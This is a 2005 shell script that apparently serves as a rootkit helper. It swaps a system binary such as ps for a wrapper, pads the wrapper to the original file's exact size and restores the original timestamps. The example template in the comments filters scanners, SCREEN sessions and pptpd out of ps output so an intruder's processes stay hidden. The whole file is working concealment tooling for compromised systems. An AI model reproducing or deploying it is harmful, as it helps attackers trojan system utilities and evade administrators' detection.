#!/bin/sh
# Under GPL 2.0 and higher.
# Written by hip0 on 31.03.2005
# Gets a victim file uses a previously putten script template
# and fixes the size of the new generated file exactly to the size
# of the original. Then just overwrites the original.
# OR THE FAT LADY GETS IT!@#$ 
# Postnotes
# Example template file
#/usr/bin/ps "$@" |grep -v "sh qmail" | grep -v cgiscan|\
#grep -v SCREEN|grep -v pscan | grep -v "/bin/sh /bin/ps"|\
#grep -v "/usr/bin/ps"|grep -v "pptpd"
# put as much grep -v as you need to grep from the output of ps
# Note /usr/bin/ps is the location where the original ps binary is located


full_with_string='#';
timestamp_temp_file=/tmp/timestamp;
INTERACTIVE=0;
string0="$0";
string1="$1";
string2="$2";

read_vals () {

if [[ $INTERACTIVE = 1 ]]; then
echo -n "Target file location: ";
read t_file_name
echo -n "File_template location: ";
read file_template
fi

t_file_name="$string1";
file_template="$string2";

if [[ -z $string1 ]] || [[ ! -f $string1 ]]; then
echo "$string1 file does not exist. ... Exiting.";
syntax_desc;
exit 1;
fi

if [[ -z $string2 ]] || [[ ! -f $string2 ]]; then
echo "$string2 file does not exist. ... Exting.";
exit 1;
syntax_desc;
fi

if [[ -z ${t_file_name} ]] || [[ ! -f ${t_file_name} ]]; then
echo "Enter a valid target file name and location.";
exit 1;
fi

if [[ -z ${file_template} ]] || [[ ! -f ${file_template} ]]; then
echo "Enter a valid new file template.";
exit 1;
fi
echo "Backing file: ${t_file_name} timestamps to: ${timestamp_temp_file}";
touch ${timestamp_temp_file};
touch -acmr ${t_file_name} ${timestamp_temp_file};
}

syntax_desc () {
echo "Syntax is $(basename $string0) [ binary_filename_to_fix ] [ new_template_file ]";
echo "Greetings fly to the pcfreak crew!";
exit 1;
}

do_subst () {

get_t_file_name_size=$(ls -lb ${t_file_name} | awk '{ print $5 }');
get_file_template_size=$(ls -lb ${file_template} | awk '{ print $5 }');
#echo $get_t_file_name_size;
#echo $get_file_template_size;
add_char_count=$((${get_t_file_name_size} - ${get_file_template_size}));
#echo ${add_char_count};
echo "Creating fixed up ${file_template}.new";
cat ${file_template} > ${file_template}.new;
perl -e "print \"${full_with_string}\"x${add_char_count}" \
>>${file_template}.new; 
echo "Creating ${t_file_name} backup to ${t_file_name}.bak";
cp -f ${t_file_name} ${t_file_name}.bak;
echo "Check that and remove it all runs fine";
echo "Moving ${file_template}.new to ${file_template}";
mv ${file_template}.new ${t_file_name};
chmod +x ${t_file_name};
echo "Setting the original timestamp to the new ${t_file_name}";
touch -acmr ${timestamp_temp_file} ${t_file_name};
echo "Removing ${timestamp_temp_file} file.";
echo "Be sure to remove the temp file manually.";
echo -e "All done have fun.\n\n And thanks for using this Anti M$ Product!\n";

}

main () {
read_vals;
do_subst;
}

main;